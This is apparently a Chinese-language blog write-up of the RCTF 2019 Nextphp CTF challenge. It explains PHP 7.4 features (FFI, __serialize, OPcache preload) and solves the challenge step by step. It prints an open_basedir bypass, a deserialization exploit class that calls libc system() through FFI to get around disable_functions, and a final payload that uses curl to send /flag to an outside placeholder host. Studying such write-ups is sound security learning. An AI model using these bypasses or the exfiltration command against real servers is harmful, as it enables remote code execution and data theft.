由[RCTF 2019]Nextphp学习phpinfo中的i信息收集及PHP7.4新特性-FFI


[RCTF 2019]Nextphp

0x00 前言

PHP7.4从js中吸取很多啊哈哈哈,参考php7.4核心新特性,简述两个好玩的新特性

  • PHP7.4的新特性—FFI,它允许开发者在PHP脚本中调用C函数并使用C数据类型。官方称之为develop “system code” more productively.。有趣的是FFI无视 open_basedir 和 disable_functions 的限制,如果开发者没有很好控制权限,带来的结果会是很糟糕的

  • __serialize()__unserialize()替代了原来的__sleep()__wakeup(),给用户更好的自定义特权,php将会优先调用新版本(反)序列化接口,传送门

  • OPcache–缓存预加载特性;在php.ini中配置opcache.preload = preload.php来开启它;OPcache将预编译的脚本都放到共享内存中(已执行),省去每次请求都解析脚本的开销,提高处理性能;预加载的类和函数始终可用,并且 function_exists()或 class_exists()检查将返回 TRUE,从而阻止执行预期的代码路径。

0x01解题

跟着p0pl4r师傅的思路走了一波,写的很详细,学一手phpinfo的信息收集

顺便把师傅的php花式读文件给拿来了哈哈哈,传送门

开局给了很简单的代码

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

一通瞎写发现ban了很多函数,蚁剑也不能连接。show_source('/etc/passwd');遇到open_basedir限制,用DirectoryIterator+glob://绕过,查看目录下文件

pl:$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');} 发现flag在根目录,那就没办法读辣,由open_basedir限制,再看看本目录下文件,发现preload.php奇怪的文件,show_source看看

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

应该是从反序列化入手了,但是由于open_basedir的限制,还是没办法直接读根目录下的flag。那就看看phpinfo,全局搜索disable_functionsopen_basedir.php | .bak | .xxx等等

disable_functions:set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

disable_classes:ReflectionClass

open_basedir: /var/www/html

opcache.preload: /var/www/html/preload.php

opcache,这不就是PHP7.4的新特性嘛,rfc,请,全局搜索**dangerous/risk/warning/…**等字眼

image-20210318165945117

再去phpinfo看看是否开启ffi

image-20210318170020453

前面说了ffi无视 open_basedir 和 disable_functions,这么厉害的功能肯定有限制的,再去rfc扒扒

image-20210318171750397

只能在预加载的php文件中使用ffi,FFI基本用法生成FFI对象

<?php
// FFI examples
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
    "int printf(const char *format, ...);", // this is a regular C declaration
    "libc.so.6");
// call C's printf()
$ffi->printf("Hello %s!\n", "world");

搜索C语言 system 声明:int system(const char *command)

改写样例

<?php
    $ffi = FFI::cdef(
        "int system(const char *command);",
        "libc.so.6");
	$ffi->system('ls');

但是在preload.php中只有arg一个参数,怎么办?在FFI函数介绍的lib参数中有这么一句话:If libis omitted, platforms supportingRTLD_DEFAULTattempt to lookup symbols declared incode in the normal global scope. Other systems will fail to resolve these symbols.,这就帮了一个我们大忙,省略第二个lib参数php会在全局范围寻找可用函数

exp:

<?php
# @Author: yq1ng
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(const char *command);'
    ];
    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

}
echo(serialize(new A));

最后使用?a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->ret->system('curl -d `cat /flag` http://ip:2333');即可接收flag


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录